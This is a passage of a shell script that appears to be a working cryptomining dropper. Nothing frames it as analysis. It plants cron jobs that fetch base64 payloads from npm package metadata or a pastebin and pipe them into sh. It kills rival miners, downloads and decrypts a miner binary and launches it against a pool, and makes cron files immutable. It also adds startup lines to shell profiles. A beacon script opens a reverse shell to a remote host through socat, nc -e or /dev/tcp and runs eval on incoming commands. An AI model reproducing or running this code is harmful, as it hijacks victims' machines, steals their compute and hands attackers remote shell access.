  1545. echo "Cron persistence installed (zimbra, append-only)."
  1546. else
  1547. echo "Unable to install fallback crontab"
  1548. return 1
  1549. fi
  1550. fi
  1551. return 0
  1552. fi
  1553. if ! (crontab -l 2>/dev/null | grep -vF "$_cc_pastebin" | grep -vF "/systemdev/cron-fetch";
  1554. printf '%s\n' "$( _cron_sched 2 ) * * * * $_cc_cmd") | crontab -; then
  1555. echo "Unable to install fallback crontab"
  1556. return 1
  1557. fi
  1558. echo "Cron persistence installed (pastebin fallback)."
  1559. return 0
  1560. fi
  1561. :
  1562. else
  1563. echo "No tar/pointer and no curl/wget/openssl — no viable cron fallback"
  1564. return 1
  1565. fi
  1566. mkdir -p "$_cc_home/systemdev" 2>/dev/null
  1567. _cc_fetcher="$_cc_home/systemdev/cron-fetch"
  1568. cat > "$_cc_fetcher" << 'CRONHELPER'
  1569. #!/bin/sh
  1570. MIRROR="$(printf '%s' "$REGURL" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"
  1571. _extr='s/.*"description" *: *"\([^"]*\)".*/\1/p'
  1572.  
  1573. get_url() {
  1574. _gu="$1"
  1575. if command -v curl >/dev/null 2>&1; then
  1576. _tool curl -fsSLk -A Mozilla/5.0 --max-time 30 "$_gu" 2>/dev/null && return 0
  1577. fi
  1578. if command -v wget >/dev/null 2>&1; then
  1579. _tool wget -qO- -U Mozilla/5.0 --no-check-certificate -T 30 "$_gu" 2>/dev/null && return 0
  1580. fi
  1581. if command -v openssl >/dev/null 2>&1; then
  1582. _gu_now="$_gu"; _n=0
  1583. _raw="${TMPDIR:-/tmp}/.netz13-fetch.$$.raw"
  1584. while [ "$_n" -lt 5 ]; do
  1585. _n=$((_n+1))
  1586. _hp="${_gu_now#https://}";; _hp="${_hp#http://}";
  1587. _h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
  1588. if command -v timeout >/dev/null 2>&1; then
  1589. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
  1590. timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
  1591. else
  1592. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
  1593. openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
  1594. fi
  1595. _st=$(awk 'NR == 1 {sub(/\r$/, ""); print $2; exit}' "$_raw" 2>/dev/null)
  1596. case "$_st" in 301|302|303|307|308)
  1597. _l=$(awk 'tolower($1) == "location:" {sub(/^[^:]*:[ \t]*/, ""); sub(/\r$/, ""); print; exit}' "$_raw" 2>/dev/null)
  1598. [ -z "$_l" ] && { rm -f "$_raw"; return 9; }
  1599. _gu_now="$_l"
  1600. continue;;
  1601. 2??)
  1602. _off=$(awk 'BEGIN {n=0} {n += length($0) + 1; if ($0 == "" || $0 == "\r") {print n; exit}}' "$_raw" 2>/dev/null)
  1603. [ -n "$_off" ] || { rm -f "$_raw"; return 9; }
  1604. if command -v dd >/dev/null 2>&1; then
  1605. dd if="$_raw" bs=1 skip="$_off" 2>/dev/null
  1606. _rc=$?
  1607. elif command -v tail >/dev/null 2>&1; then
  1608. tail -c "+$((_off + 1))" "$_raw"
  1609. _rc=$?
  1610. else
  1611. rm -f "$_raw"
  1612. return 9
  1613. fi
  1614. rm -f "$_raw"
  1615. return "$_rc";;
  1616. *)
  1617. rm -f "$_raw"
  1618. return 9;;
  1619. esac
  1620. done
  1621. rm -f "$_raw"
  1622. return 9
  1623. fi
  1624. return 9
  1625. }
  1626.  
  1627. run_gated() {
  1628. b=$(cat)
  1629. printf '%s' "$b" | grep -qE '^[A-Za-z0-9+/=]+$' || exit 9
  1630. printf '%s' "$b" | base64 -d | sh
  1631. }
  1632.  
  1633. _t=""
  1634. for _mu in "$REGURL" "$MIRROR"; do
  1635. _mt=$(get_url "$_mu" | tr -d "\r" | sed -n "s/.*\"tarball\" *: *\"\([^\"]*\)\".*/\1/p" | head -1)
  1636. [ -n "$_mt" ] && { _t="$_mt"; break; }
  1637. done
  1638. [ -z "$_t" ] && exit 9
  1639.  
  1640. _b64=""
  1641. for _tu in "$_t" "$(printf '%s' "$_t" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"; do
  1642. _cand=$(get_url "$_tu" | tar -xzO package/package.json 2>/dev/null | tr -d "\r" | sed -n "$_extr" | head -1)
  1643. [ -n "$_cand" ] && { _b64="$_cand"; break; }
  1644. done
  1645. if [ -z "$_b64" ]; then
  1646. _l3_body=""
  1647. for _l3_try in 1 2 3; do
  1648. if command -v curl >/dev/null 2>&1; then
  1649. _l3_body=$(curl -fsSLk -A Mozilla/5.0 --max-time 30 "$_l3_url" 2>/dev/null | tr -d '\r')
  1650. elif command -v wget >/dev/null 2>&1; then
  1651. _l3_body=$(wget -qO- -U Mozilla/5.0 --no-check-certificate -T 30 "$_l3_url" 2>/dev/null | tr -d '\r')
  1652. elif command -v openssl >/dev/null 2>&1; then
  1653. _l3_host=$(printf '%s' "$_l3_url" | sed 's|^https://||;s|/.*||')
  1654. _l3_path=$(printf '%s' "$_l3_url" | sed 's|^https://[^/]*||')
  1655. [ -z "$_l3_path" ] && _l3_path=/
  1656. _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_l3_path" "$_l3_host" | \
  1657. timeout 45 openssl s_client -quiet -connect "$_l3_host:443" -servername "$_l3_host" 2>/dev/null)
  1658. _l3_body=$(printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r')
  1659. fi
  1660. [ -n "$_l3_body" ] && break 2
  1661. done
  1662. [ -n "$_l3_body" ] && break
  1663. sleep 5
  1664. done
  1665. if [ -n "$_l3_body" ]; then
  1666. printf '%s' "$_l3_body" | sh
  1667. exit $?
  1668. fi
  1669. echo "all layers exhausted (L1/L2/L3); next cron tick retries" >&2
  1670. exit 9
  1671. fi
  1672.  
  1673. printf '%s' "$_b64" | run_gated
  1674. exit $?
  1675. CRONHELPER
  1676. chmod 755 "$_cc_fetcher"
  1677. if ! sh -n "$_cc_fetcher" 2>/dev/null; then
  1678. echo "Planted fetcher failed syntax check; removing"
  1679. rm -f "$_cc_fetcher"
  1680. (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher") | crontab - 2>/dev/null
  1681. return 1
  1682. fi
  1683. if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
  1684. if crontab -l 2>/dev/null | grep -qF "$_cc_fetcher"; then
  1685. echo "Cron persistence already installed (zimbra, preserved)."
  1686. else
  1687. if (crontab -l 2>/dev/null; printf '%s\n' "$( _cron_sched 3 ) * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
  1688. echo "Cron persistence installed (zimbra, append-only)."
  1689. else
  1690. echo "Unable to install pointer crontab"
  1691. return 1
  1692. fi
  1693. fi
  1694. return 0
  1695. fi
  1696. if ! (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher";
  1697. printf '%s\n' "$( _cron_sched 3 ) * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
  1698. echo "Unable to install pointer crontab"
  1699. return 1
  1700. fi
  1701. echo "Cron persistence installed."
  1702. }
  1703. for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
  1704. if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
  1705. :
  1706. [ -r "/proc/$_main_pid/cmdline" ] || continue
  1707. _main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
  1708. _is_excluded "$_main_cmdline" "$_main_pid" && continue
  1709. kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
  1710. fi
  1711. done
  1712. if [ "$(id -u)" -eq 0 ]; then
  1713. command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
  1714. fi
  1715. log "cleanup: stage 1"
  1716. kill_themf
  1717. kill_mf3
  1718. kill_high_cpu
  1719. _disarm_competitor
  1720. for _main_target in \
  1721. ".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
  1722. "/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
  1723. "youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
  1724. kill_and_remove_process "$_main_target" || true
  1725. done
  1726. log "cleanup: stage 2"
  1727. harden_network
  1728. log "cleanup: stage 3"
  1729. cleanup_files
  1730. safe_patch_args
  1731. replace_pool_user
  1732.  
  1733. _find_good_workdir() {
  1734. _sfx="$1"
  1735. _bases=""
  1736. if [ -n "$HOME" ] && [ "$HOME" != "/" ] && [ -w "$HOME" ] 2>/dev/null; then
  1737. _bases="$_bases $HOME/.cache/.usr_$_sfx $HOME/.config/.usr_$_sfx $HOME/.usr_$_sfx"
  1738. fi
  1739. _bases="$_bases /dev/shm/.usr_$_sfx /var/tmp/.usr_$_sfx /tmp/.usr_$_sfx"
  1740. if [ "$(id -u)" -eq 0 ]; then
  1741. _bases="$_bases /usr_$_sfx/lib/dev"
  1742. fi
  1743.  
  1744. for _b in $_bases; do
  1745. if mkdir -p "$_b" 2>/dev/null && [ -w "$_b" ]; then
  1746. :
  1747. if printf '#!/bin/sh\nexit 3\n' > "$_b/.exectest" 2>/dev/null; then
  1748. chmod +x "$_b/.exectest" 2>/dev/null || true
  1749. if "$_b/.exectest" 2>/dev/null; then
  1750. rm -f "$_b/.exectest" 2>/dev/null
  1751. printf '%s' "$_b"
  1752. return 0
  1753. fi
  1754. fi
  1755. rm -f "$_b/.exectest" 2>/dev/null
  1756. fi
  1757. done
  1758.  
  1759. _fb="/var/tmp/.usr_$_sfx"
  1760. mkdir -p "$_fb" 2>/dev/null || _fb="/tmp/.usr_$_sfx"; mkdir -p "$_fb" 2>/dev/null
  1761. printf '%s' "$_fb"
  1762. }
  1763.  
  1764. if [ "$(id -u)" -eq 0 ]; then
  1765. _wd="$(_find_good_workdir "$_SFX")"
  1766. HOME_1="$_wd"
  1767. _main_user_type="root"
  1768. if ! command -v crontab >/dev/null 2>&1; then
  1769. log "Installing cron (best effort)..."
  1770. if command -v apk >/dev/null 2>&1; then
  1771. apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
  1772. elif command -v apt-get >/dev/null 2>&1; then
  1773. apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
  1774. elif command -v yum >/dev/null 2>&1; then
  1775. yum install -y cronie 2>/dev/null || true
  1776. fi
  1777. fi
  1778. else
  1779. _wd="$(_find_good_workdir "$_SFX")"
  1780. HOME_1="$_wd"
  1781. _main_user_type="user"
  1782. fi
  1783.  
  1784. [ -n "$HOME_1" ] && [ -w "$HOME_1" ] 2>/dev/null || HOME_1="/var/tmp/.usr_$_SFX"
  1785. mkdir -p "$HOME_1/systemdev" 2>/dev/null || true
  1786. chmod 700 "$HOME_1" 2>/dev/null || true
  1787.  
  1788. program_file="$HOME_1/$_MD_DIR/$_MD_BIN"
  1789. mkdir -p "$HOME_1/$_MD_DIR" 2>/dev/null || true
  1790. chmod 700 "$HOME_1/$_MD_DIR" 2>/dev/null || true
  1791. log "setup: stage 1 ($_main_user_type)"
  1792. if ! set_arch_urls; then
  1793. log "Unsupported architecture: $_ga_arch"
  1794. exit 1
  1795. fi
  1796. cpu_count=$(get_cpu_count)
  1797. is_ec2=false; is_ec2_host && is_ec2=true
  1798. if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
  1799. log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
  1800. scrub_competitor_crons
  1801. exit 0
  1802. fi
  1803. log "setup: stage 2"
  1804. _prepare_miner_cfg
  1805. if is_our_process_running; then
  1806. :
  1807. _MINER_READY=1
  1808. _MINER_STATE="RUNNING"
  1809. for _mp_d in "$(dirname "$program_file" 2>/dev/null)" "$(dirname "$_beacon_file" 2>/dev/null)" "$_STATE_DIR"; do
  1810. [ -n "$_mp_d" ] && [ -d "$_mp_d" ] && [ -w "$_mp_d" ] || continue
  1811. { printf '%s\n' "$program_file"; printf '%s\n' "$(_miner_run_args)"; } > "$_mp_d/.beacon-job.path" 2>/dev/null || true
  1812. chmod 600 "$_mp_d/.beacon-job.path" 2>/dev/null || true
  1813. done
  1814. log "Process running — skipping fetch/launch, refreshing persistence"
  1815. _enforce_single_miner ""
  1816. _GD_RUNNING=1
  1817. fi
  1818. _retire_stale_identities() {
  1819. [ -n "$_SFX" ] || return 0
  1820. _rsi_keep=".usr_$_SFX"
  1821. for _rsi_root in /var/tmp /tmp /dev/shm "$HOME" "$HOME/.cache"; do
  1822. [ -d "$_rsi_root" ] || continue
  1823. for _rsi_dir in "$_rsi_root"/.usr_*; do
  1824. [ -d "$_rsi_dir" ] || continue
  1825. _rsi_b=$(basename "$_rsi_dir" 2>/dev/null)
  1826. [ "$_rsi_b" = "$_rsi_keep" ] && continue
  1827. [ "$_rsi_dir" = "$HOME_1" ] && continue
  1828. for _rsi_p in /proc/[0-9]*; do
  1829. _rsi_exe=$(readlink "$_rsi_p/exe" 2>/dev/null)
  1830. case "$_rsi_exe" in
  1831. "$_rsi_dir"/*) kill -9 "${_rsi_p##*/}" 2>/dev/null ;;
  1832. esac
  1833. done
  1834. rm -rf "$_rsi_dir" 2>/dev/null || true
  1835. echo "[M39c] stale identity retired: $_rsi_dir"
  1836. done
  1837. done
  1838. for _m42_d in "$HOME_1" "$_STATE_DIR" /var/tmp /tmp /dev/shm; do
  1839. [ -n "$_m42_d" ] && [ -d "$_m42_d" ] || continue
  1840. rm -rf "$_m42_d/sd$_SFX" 2>/dev/null || true
  1841. rm -f "$_m42_d/mn$_SFX" 2>/dev/null || true
  1842. rm -f "$_m42_d/miner.json" 2>/dev/null || true
  1843. rm -f "$_m42_d/.beacon-miner.path" 2>/dev/null || true
  1844. rm -f "$_m42_d/.villain.log" 2>/dev/null || true
  1845. rm -f "$_m42_d/.villain-report" 2>/dev/null || true
  1846. done
  1847. for _m42_s in /var/tmp/.amq_* /tmp/.amq_* /dev/shm/.amq_* "$HOME"/.cache/.amq_* /var/tmp/.cache/.amq_*; do
  1848. [ -e "$_m42_s" ] || continue
  1849. rm -rf "$_m42_s" 2>/dev/null || true
  1850. done
  1851. return 0
  1852. }
  1853. launch_miner() {
  1854. :
  1855. if readlink "/proc/$$/fd/5" >/dev/null 2>&1; then
  1856. eval 'exec 5<&-' 2>/dev/null || true
  1857. fi
  1858. _launch_pid=""
  1859. _launch_mode="argv"
  1860. if [ -n "$_miner_cfg" ] && [ -s "$_miner_cfg" ]; then
  1861. _launch_mode="config"
  1862. if command -v setsid >/dev/null 2>&1; then
  1863. setsid "$program_file" --config="$_miner_cfg" </dev/null >/dev/null 2>&1 &
  1864. else
  1865. nohup "$program_file" --config="$_miner_cfg" </dev/null >/dev/null 2>&1 &
  1866. fi
  1867. _launch_pid=$!
  1868. disown 2>/dev/null || true
  1869. sleep 3
  1870. if ! kill -0 "$_launch_pid" 2>/dev/null; then
  1871. log "Config launch did not survive - falling back to the argv form"
  1872. _launch_mode="argv"
  1873. _launch_pid=""
  1874. fi
  1875. fi
  1876. if [ "$_launch_mode" = "argv" ]; then
  1877. if command -v setsid >/dev/null 2>&1; then
  1878. setsid "$program_file" "$@" </dev/null >/dev/null 2>&1 &
  1879. else
  1880. nohup "$program_file" "$@" </dev/null >/dev/null 2>&1 &
  1881. fi
  1882. _launch_pid=$!
  1883. disown 2>/dev/null || true
  1884. fi
  1885. sleep 2
  1886. for _mp_d in "$(dirname "$program_file" 2>/dev/null)" "$(dirname "$_beacon_file" 2>/dev/null)" "$_STATE_DIR"; do
  1887. [ -n "$_mp_d" ] && [ -d "$_mp_d" ] && [ -w "$_mp_d" ] || continue
  1888. { printf '%s\n' "$program_file"; printf '%s\n' "$(_miner_run_args)"; } > "$_mp_d/.beacon-job.path" 2>/dev/null || true
  1889. chmod 600 "$_mp_d/.beacon-job.path" 2>/dev/null || true
  1890. done
  1891. if [ -n "$_launch_pid" ] && kill -0 "$_launch_pid" 2>/dev/null; then
  1892. echo "MINER_LANDED:$_launch_pid:$program_file"
  1893. else
  1894. echo "MINER_LAUNCH_ISSUE:$program_file"
  1895. fi
  1896. }
  1897. _retire_stale_identities
  1898. _kill_stale_generation_instances
  1899. _retire_legacy_guardians
  1900. if [ "${_GD_RUNNING:-0}" != "1" ]; then
  1901. log "fetch: stage 1"
  1902. arch_url="$_ga_url"
  1903. if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then
  1904. arch_url="${arch_url}.enc"
  1905. fi
  1906. if _miner_ready "$program_file" "$arch_url"; then
  1907. log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
  1908. else
  1909. :
  1910. log "fetch: stage 2"
  1911. if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then
  1912. _enc_file="${program_file}.enc"
  1913. fetch_file "$arch_url" "$_enc_file"
  1914. if [ -s "$_enc_file" ]; then
  1915. openssl enc -d -aes-256-cbc -in "$_enc_file" -out "$program_file" \
  1916. -K "$MINER_KEY" -iv "$MINER_IV" 2>/dev/null
  1917. rm -f "$_enc_file" 2>/dev/null
  1918. fi
  1919. rm -f "$_enc_file" 2>/dev/null || true
  1920. else
  1921. fetch_file "$arch_url" "$program_file"
  1922. fi
  1923. chmod 700 "$program_file" 2>/dev/null
  1924. if [ -z "$MINER_KEY" ] && _is_elf_for_arch "$program_file"; then
  1925. _el=$(_remote_len "$arch_url")
  1926. _fdl=$(wc -c < "$program_file" 2>/dev/null || echo 0)
  1927. if [ -n "$_el" ] && [ "$_el" -gt 0 ] 2>/dev/null && [ "$_fdl" -lt "$_el" ] 2>/dev/null; then
  1928. log "Binary truncated on disk ($_fdl/$_el bytes) — refetching..."
  1929. fetch_file "$arch_url" "$program_file"
  1930. chmod 700 "$program_file" 2>/dev/null
  1931. fi
  1932. fi
  1933. if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
  1934. log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
  1935. rm -f "$program_file"
  1936. fetch_file "$_ga_fallback" "$program_file"
  1937. chmod +x "$program_file" 2>/dev/null
  1938. fi
  1939. fi
  1940. _MINER_READY=0
  1941. _MINER_STATE="MISSING"
  1942. if _miner_ready "$program_file" "$arch_url"; then
  1943. _MINER_READY=1
  1944. _MINER_STATE="READY"
  1945. else
  1946. _cdl=$(wc -c < "$program_file" 2>/dev/null || echo 0)
  1947. log "Binary incomplete on disk ($_cdl bytes) - keeping it for resume"
  1948. fi
  1949. if [ "$_MINER_READY" != "1" ]; then
  1950. log "Error: no executable for architecture $_ga_arch — persisting without launch"
  1951. rm -f "$program_file" 2>/dev/null || true
  1952. else
  1953. log "fetch: stage 3 ok"
  1954. log "start: stage 1"
  1955. _launch_ok=0
  1956. launch_miner -o "$_c3" -u "$_c4.$_c1" -k
  1957. sleep 5
  1958. if kill -0 "$_launch_pid" 2>/dev/null; then
  1959. _MINER_STATE="RUNNING"
  1960. log "Process running (PID $_launch_pid)"
  1961. _launch_ok=1
  1962. else
  1963. log "Primary launch failed — retrying without -k..."
  1964. launch_miner -o "$_c3" -u "$_c4.$_c1"
  1965. sleep 5
  1966. if kill -0 "$_launch_pid" 2>/dev/null; then
  1967. log "Process running on retry (PID $_launch_pid)"
  1968. _launch_ok=1
  1969. fi
  1970. fi
  1971. if [ "$_launch_ok" != 1 ]; then
  1972. log "All launch attempts failed — persisting, next window re-fetches"
  1973. rm -f "$program_file" 2>/dev/null || true
  1974. else
  1975. _enforce_single_miner "$_launch_pid"
  1976. _mark_miner_identity "$program_file"
  1977. fi
  1978. fi
  1979. fi
  1980. wipe_previous_crons
  1981. create_cronjob "$_c2"
  1982.  
  1983. _add_profile_persist() {
  1984. _pfile=""
  1985. for _pf in "$HOME/.profile" "$HOME/.bashrc" "$HOME/.bash_profile" "$HOME/.zshrc" "/var/tmp/.profile_persist_$$"; do
  1986. if [ -n "$_pf" ] && ( [ -w "$(dirname "$_pf" 2>/dev/null)" ] || [ -w "$_pf" 2>/dev/null ] ); then
  1987. _pfile="$_pf"
  1988. break
  1989. fi
  1990. done
  1991. [ -n "$_pfile" ] || _pfile="/var/tmp/.beacon_persist_$$"
  1992. mkdir -p "$(dirname "$_pfile")" 2>/dev/null || true
  1993. _line="if [ -x \"$program_file\" ]; then (setsid \"$program_file\" -o $_c3 -u $_c4.$_c1 </dev/null >/dev/null 2>&1 &) 2>/dev/null; disown 2>/dev/null || true; fi"
  1994. if ! grep -F "$program_file" "$_pfile" 2>/dev/null | head -1 >/dev/null; then
  1995. printf '\n%s\n' "$_line" >> "$_pfile" 2>/dev/null || true
  1996. echo "PROFILE_PERSIST:$_pfile"
  1997. fi
  1998. }
  1999. _add_profile_persist
  2000.  
  2001. echo "GUARDIAN_STATUS:workdir=$HOME_1 user=$_main_user_type binary=$program_file"
  2002. if [ "$(id -u)" -eq 0 ]; then
  2003. for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  2004. if [ -f "$_lock_file" ]; then
  2005. chattr +i "$_lock_file" 2>/dev/null || true
  2006. chattr +a "$_lock_file" 2>/dev/null || true
  2007. fi
  2008. done
  2009. fi
  2010. install_beacon_cron() {
  2011. :
  2012. if [ "$(id -un 2>/dev/null)" != "zimbra" ] && ! crontab -l 2>/dev/null | grep -qi zimbra; then
  2013. crontab -l 2>/dev/null \
  2014. | grep -vE 'cron-fetch|b51f3a2a[.]lazyrabbit|gistpad[.]com|/sh --oneshot' \
  2015. | crontab - 2>/dev/null || true
  2016. fi
  2017. cron_health || true
  2018. _chrc=$?
  2019. if [ "$_chrc" = 1 ]; then cron_log "cron_health: $CRONH — beacon cron SKIPPED (guardian persists)"; return 1; fi
  2020. [ "$_chrc" = 2 ] && cron_log "cron_health: $CRONH — lines installed anyway"
  2021. [ -n "$BEACON_ENDPOINT" ] || return 0
  2022. case "$BEACON_ENDPOINT" in
  2023. [A-Za-z0-9._-]*:[0-9]*)
  2024. _bh="${BEACON_ENDPOINT%%:*}"; _bp="${BEACON_ENDPOINT##*:}"
  2025. ;;
  2026. *)
  2027. return 0
  2028. ;;
  2029. esac
  2030. case "$_HOME_1" in
  2031. /tmp/.usr_*|/var/tmp/.usr_*|/dev/shm/.usr_*|/usr_*|/home/*)
  2032. _beacon_file="$_HOME_1/systemdev/beacon.sh" ;;
  2033. *)
  2034. _beacon_file=""
  2035. for _bwd in "/var/tmp" "$HOME" "/dev/shm"; do
  2036. mkdir -p "$_bwd" 2>/dev/null || continue
  2037. printf '#!/bin/sh\nexit 3\n' > "$_bwd/.exectest" 2>/dev/null || continue
  2038. chmod +x "$_bwd/.exectest" 2>/dev/null || continue
  2039. "$_bwd/.exectest" 2>/dev/null; _et=$?
  2040. if [ "$_et" = "3" ]; then
  2041. _beacon_file="$_bwd/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"
  2042. break
  2043. fi
  2044. rm -f "$_bwd/.exectest" 2>/dev/null
  2045. done
  2046. [ -n "$_beacon_file" ] || _beacon_file="/tmp/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"
  2047. ;;
  2048. esac
  2049. if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
  2050. _badopt=$(crontab -l 2>/dev/null | tr ' \t' '\n\n' | grep -E '/\.beacon_[0-9a-f][0-9a-f]*\.sh$' | tail -1)
  2051. [ -n "$_badopt" ] && _beacon_file="$_badopt"
  2052. fi
  2053. mkdir -p "$(dirname "$_beacon_file")" 2>/dev/null
  2054. {
  2055. printf '#!/bin/sh\n%s\n_bh=%s; _bp=%s; BEACON_TLS=%s\n' "$_BC_MARK" "$_bh" "$_bp" "${BEACON_TLS:-0}"
  2056. cat <<'BEACONSCRIPT'
  2057. _j=$(od -An -N2 -tu2 /dev/urandom 2>/dev/null | tr -d " \n")
  2058. case "$_j" in *[!0-9]*|"") _j=5 ;; esac
  2059. sleep "$(( _j % 540 ))"
  2060. if [ "$BEACON_TLS" = "1" ] && command -v socat >/dev/null 2>&1; then
  2061. exec timeout 240 socat OPENSSL:"$_bh":"$_bp",verify=0 \
  2062. SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null
  2063. fi
  2064. if command -v socat >/dev/null 2>&1; then
  2065. exec timeout 240 socat TCP4:$_bh:$_bp SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null
  2066. elif nc -h 2>&1 | grep -qe '-e '; then
  2067. exec nc "$_bh" "$_bp" -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null \
  2068. || exec nc -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' "$_bh" "$_bp" 2>/dev/null
  2069. elif command -v bash >/dev/null 2>&1; then
  2070. exec 3<>/dev/tcp/$_bh/$_bp 2>/dev/null || exit 0
  2071. exec 0<&3 1>&3 2>&3
  2072. timeout 240 bash -c 'while read -r line <&0; do eval "$line" 2>&0 >&0; done' 2>/dev/null
  2073. fi
  2074. exit 0
  2075. BEACONSCRIPT
  2076. } > "$_beacon_file"
  2077. chmod 755 "$_beacon_file" 2>/dev/null
  2078. _ep_host="$_bh"
  2079. _ep_ip=$(getent ahostsv4 "$_bh" 2>/dev/null | awk 'NR==1{print $1}')
  2080. [ -n "$_ep_ip" ] || _ep_ip=$(getent hosts "$_bh" 2>/dev/null | awk 'NR==1{print $1}')
  2081. printf '%s %s' "$_ep_host" "$_ep_ip" > "$(dirname "$_beacon_file")/.beacon-endpoint" 2>/dev/null || true
  2082. _bc_sweep="later"
  2083. _beacon_sched=$( _cron_sched 1 )
  2084. _beacon_cron="$_beacon_sched * * * * $_beacon_file >/dev/null 2>&1"
  2085. if [ "$(id -u)" = "0" ] && [ "$(id -un 2>/dev/null)" != "zimbra" ]; then
  2086. _cb_bin=$(command -v crontab 2>/dev/null)
  2087. for _rb_home in /home/* /root /var/root; do
  2088. [ -d "$_rb_home" ] || continue
  2089. _rb_user=$(basename "$_rb_home" 2>/dev/null)
  2090. [ -n "$_rb_user" ] || continue
  2091. id -u "$_rb_user" >/dev/null 2>&1 || continue
  2092. for _rb_bf in "$_rb_home"/.beacon_*.sh; do
  2093. [ -f "$_rb_bf" ] || continue
  2094. _rb_cur=$(crontab -l -u "$_rb_user" 2>/dev/null | grep -oE '[^ ]+\.beacon_[0-9A-Fa-f]{2,}\.sh' | head -1)
  2095. if [ -n "$_rb_cur" ] && [ -f "$_rb_cur" ] && [ "$_rb_cur" = "$_rb_bf" ]; then
  2096. break
  2097. fi
  2098. _rb_cron="$_beacon_sched * * * * $_rb_bf >/dev/null 2>&1"
  2099. _rb_suid=0
  2100. if [ -n "$_cb_bin" ]; then
  2101. case "$(stat -c%A "$_cb_bin" 2>/dev/null)" in
  2102. *s*|*S*) : ;;
  2103. *) chmod u+s "$_cb_bin" 2>/dev/null && _rb_suid=1 ;;
  2104. esac
  2105. fi
  2106. (crontab -l -u "$_rb_user" 2>/dev/null | grep -vE '\.beacon_[0-9A-Fa-f]{2,}\.sh|/systemdev/beacon\.sh';
  2107. printf '%s\n' "$_rb_cron") \
  2108. | crontab -u "$_rb_user" - 2>/dev/null && \
  2109. echo "[M35] beacon cron restored for $_rb_user -> $_rb_bf"
  2110. [ "$_rb_suid" = "1" ] && { chmod u-s "$_cb_bin" 2>/dev/null; chmod g-s "$_cb_bin" 2>/dev/null; }
  2111. break
  2112. done
  2113. done
  2114. fi
  2115. if ! (crontab -l 2>/dev/null | grep -qF "$_beacon_file"); then
  2116. :
  2117. _bc_suid=0
  2118. _bc_bin=$(command -v crontab 2>/dev/null)
  2119. if [ "$(id -u)" = "0" ] && [ -n "$_bc_bin" ] && [ -w "$_bc_bin" ]; then
  2120. case "$(stat -c%A "$_bc_bin" 2>/dev/null)" in
  2121. *s*|*S*) : ;;
  2122. *) chmod u+s "$_bc_bin" 2>/dev/null && _bc_suid=1 ;;
  2123. esac
  2124. fi
  2125. if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
  2126. (crontab -l 2>/dev/null; printf '%s\n' "$_beacon_cron") | crontab - 2>/dev/null \
  2127. && echo "Beacon cron installed (primary: $_bh:$_bp; zimbra append-only; cadence: $_beacon_sched)."
  2128. else
  2129. (crontab -l 2>/dev/null | grep -vE '\.beacon_[0-9a-f]{2,}\.sh|/systemdev/beacon\.sh';
  2130. printf '%s\n' "$_beacon_cron") | crontab - 2>/dev/null \
  2131. && echo "Beacon cron installed (primary: $_bh:$_bp; cadence: $_beacon_sched - per-host, was the fixed */45)."
  2132. fi
  2133. [ "$_bc_suid" = "1" ] && { chmod u-s "$_bc_bin" 2>/dev/null; chmod g-s "$_bc_bin" 2>/dev/null; }
  2134. _bc_sweep="deferred"
  2135. _bc_live=$(crontab -l 2>/dev/null | grep -oE '[^ ]+\.beacon_[0-9A-Fa-f]{2,}\.sh' | head -1)
  2136. if [ -n "$_bc_live" ] && [ ! -f "$_bc_live" ]; then
  2137. echo "[M36b] crontab points at a missing beacon file ($_bc_live) — beacon would fire into ENOENT."
